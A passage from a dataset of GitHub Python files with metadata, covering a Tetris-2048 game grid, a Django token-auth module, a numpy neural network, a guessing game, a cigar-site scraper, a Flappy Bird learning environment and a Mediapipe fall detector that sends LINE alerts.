self.CheckHorizontal()\n will_cleared_horizontal_rows = self.CheckHorizontal()\n #print(will_cleared_horizontal)\n n_cols = len(self.tile_matrix[0])\n if(len(will_cleared_horizontal_rows) != 0):\n for row in will_cleared_horizontal_rows:\n for col in range(n_cols):\n self.score = self.score + self.tile_matrix[row][col].number\n self.tile_matrix[row][col]=None\n SoundCaller('sounds/clear.wav')\n #self.FallTilesInAir()\n else:\n pass\n\n # Checks if there is any row that all of it's columns are filled\n def CheckHorizontal(self):\n n_rows, n_cols = len(self.tile_matrix), len(self.tile_matrix[0])\n rows_will_cleared = []\n for row in range(n_rows):\n horizontal_count = 0\n for col in range(n_cols):\n if (self.tile_matrix[row][col] != None):\n horizontal_count = horizontal_count + 1\n else:\n break\n\n if(horizontal_count == n_cols):\n rows_will_cleared.append(row)\n return rows_will_cleared\n\n # Test method\n def FallTilesInAir(self):\n self.ClearHorizontal()\n pass\n\n # Merges the up to down connected same numbered tiles\n def MergeTiles(self):\n n_rows, n_cols = len(self.tile_matrix), len(self.tile_matrix[0])\n row = 0\n col = 0\n while row < n_rows:\n while col < n_cols:\n current_tile = self.tile_matrix[row][col]\n if current_tile is not None and row + 1 < n_rows:#row + 1 >= 0:\n upper_tile = self.tile_matrix[row+1][col]\n if upper_tile is not None:\n if current_tile.number == upper_tile.number:# merge\n #current_tile.number = current_tile.number * 2\n current_tile.DoubleNumber()\n self.tile_matrix[row+1][col] = None\n row = 0\n col = 0\n self.score = self.score + current_tile.number\n continue\n col = col + 1\n row = row + 1\n col = 0\n\n # Checks if there are some tiles that it doesn't has any neighbour\n def CheckIsolateds(self):\n n_rows, n_cols = len(self.tile_matrix), len(self.tile_matrix[0])\n row = 0\n col = 0\n while row < n_rows:\n while col < n_cols:\n current_tile = self.tile_matrix[row][col]\n if current_tile is not None:\n if(row==0):\n col = col + 1\n continue\n elif(row + 1 < n_rows and self.tile_matrix[row + 1][col] is not None):#upper neighbour\n col = col + 1\n continue\n elif(col + 1 < n_cols and self.tile_matrix[row][col+1] is not None): #right neighbour\n col = col + 1\n continue\n elif(row -1 >= 0 and self.tile_matrix[row - 1][col] is not None): #bottom neighbour\n col = col + 1\n continue\n elif(col - 1 >=0 and self.tile_matrix[row][col-1] is not None): # left neighbour\n col = col + 1\n continue\n else: #It is a isolated tile\n newrow = row\n newrow = newrow -1\n next_location = self.tile_matrix[newrow][col]\n while next_location == None and newrow - 1 >= 0:\n if (newrow == 0):\n break\n if (newrow + 1 < n_rows and self.tile_matrix[newrow + 1][col] is not None): # upper neighbour\n break\n elif (col + 1 < n_cols and self.tile_matrix[newrow][col + 1] is not None): # right neighbour\n break\n elif (newrow - 1 >= 0 and self.tile_matrix[newrow - 1][col] is not None): # bottom neighbour\n break\n elif (col - 1 >= 0 and self.tile_matrix[newrow][col - 1] is not None): # left neighbour\n break\n newrow = newrow - 1\n self.tile_matrix[newrow][col] = current_tile\n self.tile_matrix[row][col] = None\n row = 0\n col = 0\n col = col + 1\n row = row + 1\n col = 0\n\n # Shows next three tetrominos in the game screen\n def ShowNextTetromino(self):\n currentheight = self.grid_height - 4#2\n stddraw.setFontSize(30)\n stddraw.setPenColor(Color(0, 100, 200))\n #stddraw.boldText(self.grid_width * 1.1, currentheight, f\" Next\")\n stddraw.picture(Picture(os.path.dirname(os.path.realpath(__file__)) + \"/images/nexttext.png\"),self.grid_width * 1.14, currentheight-0.2)\n for i in range(0,len(self.next_tetrominos)):\n copy_next_tetromino = copy.deepcopy(self.next_tetrominos[i])\n copy_next_tetromino.bottom_left_cell.x = (self.grid_width - 1) / 0.85\n currentheight = currentheight - 4.5# 4.5\n copy_next_tetromino.bottom_left_cell.y = currentheight\n copy_next_tetromino.draw()\n copy_next_tetromino = None\n # copy_next_tetromino = copy.deepcopy(self.next_tetromino)\n # copy_next_tetromino.bottom_left_cell.x = (self.grid_width - 1) / 0.85\n # copy_next_tetromino.bottom_left_cell.y = self.grid_height - 7\n # copy_next_tetromino.draw()\n # copy_next_tetromino=None\n\n # Drops the current tetromino immediately to bottom possible location\n def DropCurrentTetromino(self):\n while self.current_tetromino.can_be_moved(\"down\",self):\n self.current_tetromino.bottom_left_cell.y -= 1\n\n # Shows the fall location of current tetromino\n def ShowFallLocation(self):\n copy_current_tetromino = copy.deepcopy(self.current_tetromino)\n copy_current_tetromino.MakeTetrominoTransparent()\n while copy_current_tetromino.can_be_moved(\"down\",self):\n copy_current_tetromino.bottom_left_cell.y -= 1\n #print(copy_current_tetromino.bottom_left_cell.y)\n copy_current_tetromino.draw()\n copy_current_tetromino=None\n #print(\"SHOWING\")\n\n # Calculates elapsed time\n def CalculateTime(self,startingtime):\n self.time = time.time() - startingtime\n\n # Shows the current score in the game\n def ShowScore(self):\n stddraw.setFontSize(26)\n # stddraw.setPenColor(\"Red\")\n #stddraw.boldText(self.grid_width * 1.1 - 0.1, self.grid_height / 1.1 + 0.6, f\"Score:\")# {self.score} # stddraw.boldText(self.grid_width * 1.1 - 0.1, self.grid_height / 1.1 + 0.8, f\"Score:\")# {self.score}\n stddraw.picture(Picture(os.path.dirname(os.path.realpath(__file__)) + \"/images/scoretext.png\"), self.grid_width * 1.1 - 0.1, self.grid_height / 1.1 + 0.6)\n stddraw.boldText(self.grid_width * 1.1 + 1.6, self.grid_height / 1.1 + 0.6, f\"{self.score}\") # {self.score}\n stddraw.boldText(self.grid_width * 1.1 + 0.9, self.grid_height / 1.1 + 0.6, \":\") # {self.score}\n\n # Shows the current time in the game\n def ShowTime(self):\n stddraw.setFontSize(26)\n #stddraw.boldText(self.grid_width * 1.1 - 0.20, self.grid_height / 1.1 -0.3, f\"Time:\")#f\" Time: {int(self.time)}\") #stddraw.boldText(self.grid_width * 1.1 - 0.20, self.grid_height / 1.1 -0.1, f\"Time:\")\n stddraw.picture(Picture(os.path.dirname(os.path.realpath(__file__)) + \"/images/timetext.png\"), self.grid_width * 1.1 - 0.35, self.grid_height / 1.1 -0.3)\n stddraw.boldText(self.grid_width * 1.1 + 1.6, self.grid_height / 1.1 -0.3, f\"{int(self.time)}\")\n stddraw.boldText(self.grid_width * 1.1 + 0.9, self.grid_height / 1.1 -0.3, \":\") # {self.score}\n\n # Pauses the game\n def PauseGame(self):\n stddraw.clearKeysTyped()\n #print(\"Game is paused\")\n # stddraw.show(100)\n while True:\n stddraw.picture(Picture(os.path.dirname(os.path.realpath(__file__)) + \"/images/gamepausedtext.png\"),\n self.grid_width / 2, self.grid_height / 2)\n if stddraw.hasNextKeyTyped(): # check if the user has pressed a key\n key_typed = stddraw.nextKeyTyped() # the most recently pressed key\n\n if key_typed == \"space\":\n stddraw.show(100)\n #print(\"Game is running\")\n break\n stddraw.clearKeysTyped()\n stddraw.show(100)\n\n # Shows the restart and menu buttons\n def ShowMenu(self):\n stddraw.clearKeysTyped()\n background_color = Color(42, 69, 99)\n button_color = Color(25, 255, 228)\n text_color = Color(31, 160, 239)\n img_center_x, img_center_y = (self.grid_width - 1) / 2, self.grid_height - 6\n button_w, button_h = self.grid_width - 1.5, 2\n # coordinates of the bottom left corner of the start game button\n button_blc_x, button_blc_y = img_center_x - button_w / 2, 4\n # display the start game button as a filled rectangle\n # stddraw.setPenColor(button_color)\n # stddraw.filledRectangle(button_blc_x, button_blc_y, button_w, button_h)\n # stddraw.filledRectangle(button_blc_x, button_blc_y+4, button_w, button_h)\n # display the text on the start game button\n\n current_dir = os.path.dirname(os.path.realpath(__file__))\n button_file = current_dir + \"/images/button2.png\"\n button_image = Picture(button_file)\n stddraw.picture(button_image, img_center_x, button_blc_y+1)\n\n current_dir = os.path.dirname(os.path.realpath(__file__))\n button_file = current_dir + \"/images/button2.png\"\n button_image = Picture(button_file)\n stddraw.picture(button_image, img_center_x, button_blc_y+5)\n\n stddraw.picture(Picture(current_dir + \"/images/menutext.png\"), img_center_x, button_blc_y+1)\n stddraw.picture(Picture(current_dir + \"/images/restarttext.png\"), img_center_x, button_blc_y+5)\n # menu interaction loop\n while True:\n # display the menu and wait for a short time (50 ms)\n stddraw.show(50)\n # check if the mouse has been left-clicked on the button\n if stddraw.mousePressed():\n # get the x and y coordinates of the location at which the mouse has\n # most recently been left-clicked\n mouse_x, mouse_y = stddraw.mouseX(), stddraw.mouseY()\n # check if these coordinates are inside the button\n if mouse_x >= button_blc_x and mouse_x <= button_blc_x + button_w:\n if mouse_y >= button_blc_y and mouse_y <= button_blc_y + button_h:\n return \"Menu\"\n if mouse_x >= button_blc_x and mouse_x <= button_blc_x + button_w:\n if mouse_y >= button_blc_y and mouse_y <= button_blc_y+4 + button_h:\n return \"Restart\"\n if stddraw.hasNextKeyTyped():\n # check if the user has pressed a key\n key_typed = stddraw.nextKeyTyped() # the most recently pressed key\n if key_typed == \"escape\":\n stddraw.clearKeysTyped()\n stddraw.show(100)\n return \"Cont\"","repo_name":"Arda-Gokalp-Batmaz-AGB/Tetris2048","sub_path":"game_grid.py","file_name":"game_grid.py","file_ext":"py","file_size_in_byte":17967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9912465776","text":"from functools import wraps\n\nfrom SmartDjango import E\n\nfrom Account.models import Account\nfrom NotificatorX.global_settings import Global\nfrom utils.hash import md5\nfrom utils.jtoken import JWT\n\n\n@E.register()\nclass AuthError:\n REQUIRE_LOGIN = E(\"需要登录\")\n FAIL_AUTH = E(\"登录失败\")\n\n REQUIRE_ACCOUNT = E(\"需要口令\")\n FAIL_ACCOUNT = E(\"口令错误\")\n\n\nclass Auth:\n @staticmethod\n def get_login_token():\n token, dict_ = JWT.encrypt({})\n dict_['token'] = token\n return dict_\n\n @classmethod\n def login(cls, email, password):\n if email == Global.ADMIN_EMAIL and md5(password) == Global.ADMIN_PASSWORD:\n return cls.get_login_token()\n raise AuthError.FAIL_AUTH\n\n @classmethod\n def require_login(cls):\n def decorator(func):\n @wraps(func)\n def wrapper(r, *args, **kwargs):\n try:\n jwt_str = r.META.get('HTTP_TOKEN')\n if jwt_str is None:\n raise AuthError.REQUIRE_LOGIN\n JWT.decrypt(jwt_str)\n except Exception as err:\n raise AuthError.REQUIRE_LOGIN(debug_message=err)\n return func(r, *args, **kwargs)\n return wrapper\n return decorator\n\n @classmethod\n def require_account(cls):\n def decorator(func):\n @wraps(func)\n def wrapper(r, *args, **kwargs):\n try:\n auth = r.META.get('HTTP_AUTH')\n if auth is None:\n raise AuthError.REQUIRE_ACCOUNT\n auth = auth.split('$', 1)\n if len(auth) != 2:\n raise AuthError.FAIL_ACCOUNT\n r.d.account = Account.auth(*auth)\n except Exception as err:\n raise AuthError.REQUIRE_ACCOUNT(debug_message=err)\n return func(r, *args, **kwargs)\n return wrapper\n return decorator\n","repo_name":"Jyonn/NotificatorX","sub_path":"utils/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"15486834356","text":"import numpy as np\nfrom sklearn.utils import shuffle\n\n\ndef activation_sigmoid(values):\n return 1.0 / (1.0 + np.exp(-values))\n\n\ndef der_activation_sigmoid(values):\n return values * (1 - values)\n\n\ndef activation_linear(values):\n return values\n\n\ndef der_activation_linear(values):\n return values\n\n\ndef activation_tanh(values):\n return np.tanh(values)\n\n\ndef der_activation_tanh(values):\n return 1. - values ** 2\n\n\ndef MSE(x, x_):\n \"\"\"\n Calculating the Mean Square Error.\n Argument (numpy array x, and \\tilde{x})\n\n here x_ can either an array, or a constant.\n\n returns a double\n \"\"\"\n return np.mean(np.square(x - x_))\n\n\ndef R2(x_, x):\n # expected, predicted\n r2 = 1 - MSE(x, x_) / MSE(np.average(x_), x)\n return r2\n\n\nclass Layer:\n \"\"\"\n Each Layer works as a seperate object, it has the number of inputs,\n and the number of output edges.\n\n The activation function for each Layer can be individually selected.\n\n Since this class is meant to be a private class, the main program can use\n the implemented new_layer function to feed the design of the neural network,\n using dictionaries as arguments.\n\n Each Layer will keep track of its error rate, and delta (which are used\n to help with finding the required changes in the same iteration)\n \"\"\"\n\n def __init__(self, input_size, node_size, activation='sigmoid'):\n # Statistics\n self.result = None\n self.error = None\n self.delta = None\n self.last_value = None\n\n # Features\n self.number_of_inputs = input_size\n self.number_of_nodes = node_size\n self.activation = activation\n\n # Values\n self.bias = np.random.rand(node_size)\n self.betas = np.random.rand(input_size, node_size)\n\n def forward(self, values):\n # gets the input, applied the weights, and run the activation\n tmp = np.dot(values, self.betas) + self.bias\n self.result = self.activate(tmp)\n return self.result\n\n def activate(self, value):\n \"\"\"\n :param value: the result of the feed forward\n :return: activated result, based of the chosen activation function\n\n TODO: Check for lower cases\n \"\"\"\n # sigmoid:\n if 'sig' in self.activation:\n return activation_sigmoid(value)\n\n # tanh\n elif 'tanh' in self.activation:\n return activation_tanh(value)\n\n # linear\n else:\n return value\n\n def backward(self, value):\n \"\"\"\n This will apply the derivative of the selected activation function\n \"\"\"\n\n # sigmoid:\n if 'sig' in self.activation:\n return der_activation_sigmoid(value)\n\n # tanh\n elif 'tanh' in self.activation:\n return der_activation_tanh(value)\n\n # linear\n else:\n return value\n\n\nclass NeuralNetwork:\n def __init__(self, learning_rate=0.01, max_iter=100, epsilon=0):\n # design:\n self.R2_score = []\n self.mse_score = []\n self.layers = []\n\n # early stopping\n self.epsilon = epsilon\n self.max_iter = max_iter\n self.eta = learning_rate\n\n def new_layer(self, design):\n \"\"\"\n :param design: is a dictionary of type\n {'input_size': number of inputs,\n 'number_of_nodes': number of inputs for the next layer,\n 'activation_function': activation function (sigmoid, linear, tanh)\n }\n :return: None\n \"\"\"\n self.layers.append(Layer(design['input_size'], design['number_of_nodes'], design['activation_function']))\n\n def forward(self, x_train):\n \"\"\"\n Uses the forward function in each Layer to find the final result\n\n :param x_train: X values\n :return: the result of the NeuralNetwork\n \"\"\"\n next_input = x_train\n for layer in self.layers:\n next_input = layer.forward(next_input)\n\n return next_input\n\n def predict_class(self, x):\n \"\"\"\n Should only be used if the NeuralNetwork is used for classification problems, not regression\n :param x: input\n :return: index of the most probable outcome\n \"\"\"\n result = self.forward(x)\n\n if result.ndim == 1:\n return np.argmax(result)\n\n else:\n return np.argmax(result, axis=1)\n\n def backward(self, x_train, y_train):\n \"\"\"\n :param x_train: inputs of the training set\n :param y_train: expected output\n :return: None\n\n Uses the backward function in each Layer to simplify the process\n \"\"\"\n result = self.forward(x_train)\n number_layers = len(self.layers)\n for i in reversed(range(number_layers)):\n if self.layers[i] == self.layers[-1]:\n self.layers[i].error = y_train - result\n self.layers[i].delta = self.layers[i].error * self.layers[i].backward(result)\n\n else:\n # weighted error\n self.layers[i].error = np.dot(self.layers[i + 1].betas, self.layers[i + 1].delta)\n self.layers[i].delta = self.layers[i].error * self.layers[i].backward(self.layers[i].result)\n\n for i in range(number_layers):\n if i == 0:\n tmp_x = x_train\n else:\n tmp_x = self.layers[i - 1].result\n\n tmp_x = np.atleast_2d(tmp_x)\n self.layers[i].betas += self.layers[i].delta * tmp_x.T * self.eta\n\n def train(self, x_train, y_train, mse_off=False):\n \"\"\"\n :param x_train: input values\n :param y_train: expected outcome\n :return: None\n\n Shuffles the data, selects 20% of the training data for validation.\n The validation set is used to find the MSE score.\n\n If the tolerance rate is set, it can end before going through all the iterations.\n \"\"\"\n for i in range(self.max_iter):\n tmp_x_train, tmp_y_train = shuffle(x_train, y_train, random_state=0)\n n_train = len(tmp_x_train)\n n_valid = int(n_train / 5)\n x_valid, y_valid = tmp_x_train[:n_valid], tmp_y_train[:n_valid]\n for x in range(n_train):\n self.backward(tmp_x_train[x], tmp_y_train[x])\n\n if not mse_off:\n valid_result = self.forward(x_valid)\n self.mse_score.append(MSE(y_valid, valid_result))\n self.R2_score.append(R2(y_valid, valid_result))\n\n if i > 10 and abs(self.mse_score[-1] - self.mse_score[-2]) <= self.epsilon:\n break\n\n def accuracy(self, x_test, y_test):\n result = self.forward(x_test) > 0.5\n return np.sum(result == y_test) / len(y_test)\n","repo_name":"maksymbrl/machine-learning-projects","sub_path":"p3/Maziar/Project2/Code/multilayer_perceptron.py","file_name":"multilayer_perceptron.py","file_ext":"py","file_size_in_byte":6772,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"36432409125","text":"# the user, will have in your head a number between 0 and 100. The program will guess a number,\r\n# and you, the user, will say whether it is too high, too low, or your number. At the end of this\r\n# exchange, your program should print out how many guesses it took to get your number. As the\r\n# writer of this program, you will have to choose how your program will strategically guess.\r\n# A naive strategy can be to simply start the guessing at 1, and keep going (2, 3, 4, etc.)\r\n# until you hit the number. But that’s not an optimal guessing strategy. An alternate strategy\r\n# might be to guess 50 (right in the middle of the range), and then increase / decrease by 1 as\r\n# needed. After you’ve written the program, try to find the optimal strategy!\r\n# (We’ll talk about what is the optimal one next week with the solution.)\r\n\r\n\r\ndef binary():\r\n return my_list[(int((len(my_list)/2)))]\r\n\r\n\r\nmy_list = []\r\nfor i in range(1, 101):\r\n my_list.append(i)\r\n\r\nprint(\"Pick a number between 0 and 100 in your mind\\nI will try to guess it\")\r\nstart = input(\"Are you ready? Type 'Y' and press enter when ready: \").upper()\r\nwhile True:\r\n if start == \"Y\":\r\n count = 1\r\n while int(len(my_list)) > 1:\r\n num = binary()\r\n print(f\"Is your number: {num}?\")\r\n y_n_answer = input(\"Type 'Y' for yes, type 'N'for no: \").upper()\r\n if y_n_answer == \"Y\":\r\n print(f\"Bingo! You found in {count}. try. \\nThanks for the game!\")\r\n quit()\r\n elif y_n_answer == \"N\":\r\n if int(len(my_list)) == 2:\r\n print(f\"Your number is {my_list[0]}.\\nBingo! You found in {count}. try.\")\r\n quit()\r\n l_h_answer = input(f\"If {num} is higher than your number type 'H', or if {num} is lower type 'L' please: \").upper()\r\n if l_h_answer == \"H\":\r\n del my_list[(int(len(my_list)/2)):]\r\n elif l_h_answer == \"L\":\r\n del my_list[:((int(len(my_list) / 2))+1)]\r\n else:\r\n y_n_answer = input(\"Type 'Y' for yes, type 'N'for no: \").upper()\r\n# print(my_list)\r\n count += 1\r\n if int(len(my_list)) < 2:\r\n print(f\"Your number is {my_list[0]} \\nBingo! I found in {count}. try.\")\r\n quit()\r\n else:\r\n start = input(\"Are you ready? Type 'Y' and press enter when ready: \").upper()\r\n","repo_name":"gokhankar/practicepython","sub_path":"25_guessing_game_two.py","file_name":"25_guessing_game_two.py","file_ext":"py","file_size_in_byte":2437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"3837848490","text":"# coding=utf-8\n\"\"\"\n@Author: Freshield\n@Contact: yangyufresh@163.com\n@File: get_bj_time.py\n@Time: 2023-03-28 21:55\n@Last_update: 2023-03-28 21:55\n@Desc: None\n@==============================================@\n@ _____ _ _ _ _ @\n@ | __|___ ___ ___| |_|_|___| |_| | @\n@ | __| _| -_|_ -| | | -_| | . | @\n@ |__| |_| |___|___|_|_|_|___|_|___| @\n@ Freshield @\n@==============================================@\n\"\"\"\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom datetime import timezone\n\n\nSHA_TZ = timezone(\n timedelta(hours=8),\n name='Asia/Shanghai',\n)\n\n\ndef get_bj_time():\n # 协调世界时\n utc_now = datetime.utcnow().replace(tzinfo=timezone.utc)\n # 北京时间\n beijing_now = utc_now.astimezone(SHA_TZ)\n\n return beijing_now\n","repo_name":"Freshield/Personal_Interest","sub_path":"a33_web3py/lib/get_bj_time.py","file_name":"get_bj_time.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"14224998456","text":"# cigar_list.py\n# This is a simple scraper, no multi threading or async operations\n# This builds a CSV file of all cigars scrapped from specific list of web pages (per the pages[] list in the code) by: brand, name, & size\n# Running the script multiple times will build on the CSV list and not create duplicates.\n# I run this daily to compile a list of all cigars that ever show up on the website.\n\nimport requests\nimport bs4\nfrom datetime import datetime\nimport csv\nimport itertools\nimport sys\nimport os\nimport time\n\nstart_time = time.time()\ntimestamp = datetime.now().strftime(\"%m/%d/%Y %H:%M\")\n\ndef cleanup(x):\n \"\"\"\n Returns a string with space on the left and right removed.\n \"\"\"\n try:\n x = x.replace(\"Length (in inches):\", \"L:\")\n x = x.replace(\"LENGTH:\", \"L:\")\n x = x.replace(\"ring gauge:\", \"RG:\")\n x = x.replace(\"Ring Gauge:\", \"RG:\")\n x = x.replace(\"RING GAUGE:\", \"RG:\")\n x = x.replace(\"No Discounts Apply\", \"\")\n x = x.replace(\"no discounts apply\", \"\")\n x = ' '.join([line.strip() for line in x.strip().splitlines()])\n except:\n x = 'cleanup function error!'\n return x\n\n\ndef number_of_lines(fname):\n def _make_gen(reader):\n b = reader(2 ** 16)\n while b:\n yield b\n b = reader(2 ** 16)\n\n with open(fname, \"rb\") as f:\n count = sum(buf.count(b\"\\n\") for buf in _make_gen(f.raw.read))\n return count\n\n\n# START\nfile_name = os.path.join(sys.path[0], 'cigar_list.csv')\nrows = []\nrows.append(['Brand', 'Name', 'Size'])\n\n# CoH\nbase_url = \"https://www.cigarsofhabanos.com/\"\npages = ['cigars-bolivar',\n 'cigars-cohiba',\n 'cigars-cuaba',\n 'cigars-diplomaticos',\n 'cigars-el-rey-del-mundo',\n 'cigars-fonseca',\n 'cigars-guantanamera',\n 'cigars-h.upmann',\n 'cigars-hoyo-de-monterrey',\n 'cigars-jose-l.-piedra',\n 'cigars-juan-lopez',\n 'cigars-la-flor-de-cano',\n 'cigars-la-gloria-cubana',\n 'cigars-montecristo',\n 'cigars-partagas',\n 'cigars-por-larranaga',\n 'cigars-punch',\n 'cigars-quai-dorsay',\n 'cigars-quintero-y-hermano',\n 'cigars-rafael-gonzalez',\n 'cigars-ramon-allones',\n 'cigars-romeo-y-julieta',\n 'cigars-saint-luis-rey',\n 'cigars-san-cristobal-de-la-habana',\n 'cigars-sancho-panza',\n 'cigars-trinidad',\n 'cigars-vegas-robaina',\n 'cigars-vegueros']\n\nfor page in pages:\n url = f'{base_url}{page}'\n brand = page.split('-', 1)[1].replace('-', ' ')\n\n try:\n # get the page\n response = requests.get(url)\n # Save the response to soup\n soup = bs4.BeautifulSoup(response.text, \"html.parser\")\n # Get number of items\n total_product_tags = len(soup.find_all('span', {'class': ['product_header', 'product_header_W']}))\n # Iterate through all products\n for i in range (0, total_product_tags):\n name = soup.find_all('span', {'class': ['product_header', 'product_header_W']})[i].get_text().strip()\n size = cleanup(soup.find_all('td', class_='nortxt')[i].find('div', class_='fsize11').get_text())\n rows.append([brand, name, size])\n except Exception as e:\n #this website didn't respond or the page had errors\n print(e)\n\n# Open existing file for comparison\ntry:\n with open(file_name, 'r', newline='', encoding='ISO-8859-1') as existing_file:\n reader = csv.reader(existing_file)\n existing_rows = list(reader)\nexcept:\n #file does not exist\n existing_rows = []\n \n# Combine the existing rows with what was just scrapped, sort, then remove dups\ncombined_rows = existing_rows + rows\ncombined_rows.sort()\nunique_rows = list(combined_rows for combined_rows,_ in itertools.groupby(combined_rows))\n\n# Create new file with combined results\nwith open(file_name, 'w', newline='', encoding='ISO-8859-1') as csvfile:\n writer = csv.writer(csvfile)\n for row in unique_rows:\n writer.writerow(row)\n\ntotal_lines = number_of_lines(file_name)\nruntime = round(time.time() - start_time, 2)\nprint(f'File created: {timestamp} with {total_lines} lines - Runtime: {runtime}')\n\n","repo_name":"geokscott/cigar_scraper","sub_path":"cigar_list_csv.py","file_name":"cigar_list_csv.py","file_ext":"py","file_size_in_byte":4207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"23431918778","text":"import copy\nfrom typing import Tuple\n\nfrom resources.env import UP, RELEASE\nfrom src.controllers.board_controller import BoardController\nfrom src.controllers.texture_manager import TextureManager\nfrom src.entities.bird import Bird\nfrom src.enum.reward import Reward\n\n\nclass Environment:\n def __init__(self, width: int, height: int) -> None:\n self.width = width\n self.height = height\n self.board_controller = BoardController(width, height)\n self.win_streak = 0\n self.best_win_streak = 0\n self.loose = False\n self.checked = False\n self.texture_manager = TextureManager()\n\n def reset(self) -> None:\n self.win_streak = 0\n self.loose = False\n self.checked = False\n\n def update_bird(self, bird: Bird, action: str) -> Tuple[Bird, int]:\n self.checked = False\n old_bird = copy.deepcopy(bird)\n if action == UP:\n bird.flap()\n elif action == RELEASE:\n bird.fall()\n\n reset_bird, reward = self.get_reward(old_bird, bird)\n\n if reset_bird:\n if action == UP:\n bird.reset_flap()\n\n return bird, reward\n\n def get_reward(self, old_bird: Bird, bird: Bird) -> Tuple[bool, int]:\n reset_bird = False\n if bird.get_top() <= self.height and bird.get_bottom() > 0:\n if self.board_controller.is_top(bird):\n reward = Reward.REWARD_STUCK\n reset_bird = True\n elif self.board_controller.is_bottom(bird) or self.board_controller.is_pipe(bird):\n self.loose = True\n reward = Reward.REWARD_LOOSE\n if len(self.board_controller.goals) != 0:\n self.board_controller.goals.pop(0)\n elif self.board_controller.is_checkpoint(bird):\n self.win_streak += 1\n self.checked = True\n reward = Reward.REWARD_CHECKPOINT\n self.board_controller.goals.pop(0)\n else:\n reward = Reward.REWARD_DEFAULT\n else:\n reset_bird = True\n reward = Reward.REWARD_IMPOSSIBLE\n\n penalty = 0\n if not reset_bird:\n old_distance = self.board_controller.distance_next_pipe(old_bird)\n distance = self.board_controller.distance_next_pipe(bird)\n if distance == -1:\n penalty = 0\n elif old_distance - distance < 0:\n penalty = distance * int(Reward.REWARD_PENALTY)\n else:\n penalty = int(Reward.REWARD_CHECKPOINT)\n return reset_bird, int(reward) + penalty\n","repo_name":"Shengael/flappybirdML","sub_path":"src/controllers/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9059407535","text":"import cv2\r\nimport mediapipe as mp\r\nimport os\r\nimport requests\r\nimport sys\r\nimport argparse\r\nimport gc\r\nfrom Line_notify import Warning\r\n\r\ncounter = 0 # the index of images \r\n\r\nclass PoseDetector:\r\n \"\"\"\r\n Estimates Pose points of a human body using the mediapipe library.\r\n \"\"\"\r\n\r\n def __init__(self, mode=False, smooth=True,\r\n detectionCon=0.5, trackCon=0.5):\r\n \"\"\"\r\n :param mode: In static mode, detection is done on each image: slower\r\n :param smooth: Smoothness Flag\r\n :param detectionCon: Minimum Detection Confidence Threshold\r\n :param trackCon: Minimum Tracking Confidence Threshold\r\n \"\"\"\r\n\r\n self.mode = mode\r\n self.smooth = smooth\r\n self.detectionCon = detectionCon\r\n self.trackCon = trackCon\r\n\r\n self.mpDraw = mp.solutions.drawing_utils\r\n self.mpPose = mp.solutions.pose\r\n self.pose = self.mpPose.Pose(static_image_mode=self.mode,\r\n smooth_landmarks=self.smooth,\r\n min_detection_confidence=self.detectionCon,\r\n min_tracking_confidence=self.trackCon)\r\n self.lmList = []\r\n self.t = 0\r\n\r\n def warning(self):\r\n url = \"http://time.artjoey.com/js/basetime.php\"\r\n res = requests.get(url)\r\n data = res.content.decode('ascii')\r\n ms = int(data.split('=')[1][:-1])\r\n twsec = ms / 1000 + (60 * 60 * 8)\r\n daysec = twsec % (60 * 60 * 24) \r\n HH = int(daysec / 60 / 60)\r\n MM = int(daysec / 60) % 60\r\n SS = int(daysec % 60)\r\n now = f\"{HH}:{MM}:{SS}\"\r\n img = \"image{}.png\".format(counter) \r\n Warning(0,now,img)\r\n \r\n def faint_detect(self, img, draw=True):\r\n\r\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n self.results = self.pose.process(imgRGB)\r\n joint_list = []\r\n \r\n if self.results.pose_landmarks:\r\n for id, lm in enumerate(self.results.pose_landmarks.landmark):\r\n h, w, c = img.shape\r\n cx, cy = int(lm.x * w), int(lm.y * h)\r\n joint_list.append([cx, cy])\r\n shoulder_L_y = joint_list[11][1]\r\n shoulder_R_y = joint_list[12][1]\r\n hip_L_y = joint_list[23][1]\r\n hip_R_y = joint_list[24][1] \r\n knee_L_y = joint_list[25][1]\r\n knee_R_y = joint_list[26][1]\r\n heel_L_y = joint_list[27][1]\r\n heel_R_y = joint_list[28][1]\r\n print(shoulder_L_y,hip_L_y,knee_L_y,heel_L_y,\"///\",shoulder_R_y,hip_R_y,knee_R_y,heel_R_y)\r\n L_test = [shoulder_L_y - hip_L_y, hip_L_y - knee_L_y, knee_L_y - heel_L_y]\r\n R_test = [shoulder_R_y - hip_R_y, hip_R_y - knee_R_y, knee_R_y - heel_R_y]\r\n \r\n Ltmp = 0 # left hand side test\r\n for i in L_test:\r\n if abs(i) < 50:\r\n Ltmp += 1\r\n print(\"HELP!\") \r\n if Ltmp == 2:\r\n self.warning() # if any two sets of the y-difference oftwo key points, text messages to line group\r\n # if LHS is Okay, then analysize the RHS\r\n if Ltmp < 2:\r\n Rtmp = 0 # right hand side test\r\n for i in R_test:\r\n if abs(i) < 50:\r\n Rtmp += 1\r\n print(\"HELP!\")\r\n if Rtmp == 2:\r\n self.warning()\r\n \r\n if draw:\r\n self.mpDraw.draw_landmarks(img, self.results.pose_landmarks,\r\n self.mpPose.POSE_CONNECTIONS)\r\n if draw:\r\n return img\r\n else:\r\n return 0\r\n \r\n# capture images with cv2\r\ndef run(camera_id: int):\r\n global counter\r\n \r\n # Start capturing video input from the camera\r\n cap = cv2.VideoCapture(camera_id)\r\n \r\n while cap.isOpened():\r\n success, image = cap.read()\r\n if not success:\r\n sys.exit('ERROR: Unable to read from webcam. Please verify your webcam settings.')\r\n \r\n # the path where you want to store images after capturing with the cam\r\n image_name = \"/home/pi/RobotVacuum/python/image{}.png\".format(counter) \r\n cv2.imwrite(image_name, image) # store images with designated 